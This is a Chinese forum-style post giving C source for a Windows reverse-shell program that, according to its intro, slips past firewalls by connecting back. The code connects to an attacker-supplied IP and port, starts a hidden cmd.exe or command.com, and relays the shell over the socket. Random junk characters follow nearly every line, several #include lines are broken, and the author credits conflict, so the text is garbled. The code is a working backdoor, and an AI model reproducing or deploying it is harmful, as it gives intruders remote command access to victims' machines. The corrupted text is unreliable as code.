这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R#D#{cC(
ZxI]I1)
/* ============================== _nP)uU$
Rebound port in Windows NT I-TlrW=t
By wind,2006/7 L -YNz0A
===============================*/ ve6x/ PD
#include >C:If0S4X
#include ]uAS+shQ&
} +1'{B"I
#pragma comment(lib,"wsock32.lib") x+K gc[r
7pz\ScSe
void OutputShell(); (V8?,G >
SOCKET sClient; 9?$RO[vo
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; jK e.gA
moaodmt]x
void main(int argc,char **argv) ~+=E"9Oo
{ UP?D@ogl<
WSADATA stWsaData; oikxg!0S
int nRet; Rh[Ib m56
SOCKADDR_IN stSaiClient,stSaiServer; sSz%V[XWL
w1cw1xX*
if(argc != 3) M.S
s:ttj
{ }DbE4"^K7
printf("Useage:\n\rRebound DestIP DestPort\n"); loBtd%wY
return; e+l\\9v
} FZH-q!"^cK
xb]odYGdW
WSAStartup(MAKEWORD(2,2),&stWsaData); fy`+Efuj
H }B2A"
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y #69|G
Ox~ 9_d
stSaiClient.sin_family = AF_INET; Fav^^vf*1
stSaiClient.sin_port = htons(0); `On3/gU|
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); k8
u%$G
b9DR%hO:
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) X5 j=C]
{ /z#F,NB
printf("Bind Socket Failed!\n"); "ee'2O
return; >K5~:mx#3
} dHq#
2uEhOi0I
stSaiServer.sin_family = AF_INET; 4~*Y];!Q
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *%I[ ke *
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >J@egIKzP
,z G(u 1
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) SHwRX?
B|
{ L{<7.?{Y
printf("Connect Error!"); E23w *']
return; N ocFvF7\
} rw]yKH
OutputShell(); +aj^Cs1$
} St2Q7K5s{
M%|f+u &
void OutputShell() rd"
&QB{
{ d/lffNS=
char szBuff[1024]; @/ k x
er
SECURITY_ATTRIBUTES stSecurityAttributes; p1~*;;F
OSVERSIONINFO stOsversionInfo; {@45?L('
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; fnWsm4
STARTUPINFO stStartupInfo; m!:.>y
char *szShell; {>h97}P
PROCESS_INFORMATION stProcessInformation; pC^2Rzf
unsigned long lBytesRead; &XtRLtgS
n/ AW?'
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5
q65nF
lJ&y&N<O
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]4o?BkL
stSecurityAttributes.lpSecurityDescriptor = 0; A="fj
stSecurityAttributes.bInheritHandle = TRUE; H-2_j
rVcBl4&1*g
2( _=SfQ
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); SM<d
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~#Aa Ldq
[ f34a
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LABNj{=D!
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +Vy_9I(4Z
stStartupInfo.wShowWindow = SW_HIDE; M(2`2-/xh
stStartupInfo.hStdInput = hReadPipe; CV3DMA
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !F$R+A+L
8lb-}=
GetVersionEx(&stOsversionInfo); ESv:1o`?n
> 0T
Za
switch(stOsversionInfo.dwPlatformId) Q;wB{vr$
{ t!t=|JNf{
case 1: )$_,?*fq:
szShell = "command.com"; oCuV9dA.
break; M _ (2sq
default: VDpxk$a
szShell = "cmd.exe"; c{4R*|^
break; B6%&gXr\
}
w~LU\Ct
7xT[<?,
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l"5y?jT
.[(P
send(sClient,szMsg,77,0); x5F@ad9
while(1) u*2JUI*
{ mp:m`sh*i
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $20s]ywS
if(lBytesRead) 0H+c4IW
{ DY.58IHg1
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); C0(sAF@
send(sClient,szBuff,lBytesRead,0); _Wma\(3$
} %w:'!X><
else K(3&27sGN
{ 3+9
U1:1[.
lBytesRead=recv(sClient,szBuff,1024,0); 5~s{N
if(lBytesRead<=0) break; vi|Zit
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fnOIv#
} }p{;^B
} #HG&[Ywi
GA@ Ue9
return; M=[th
}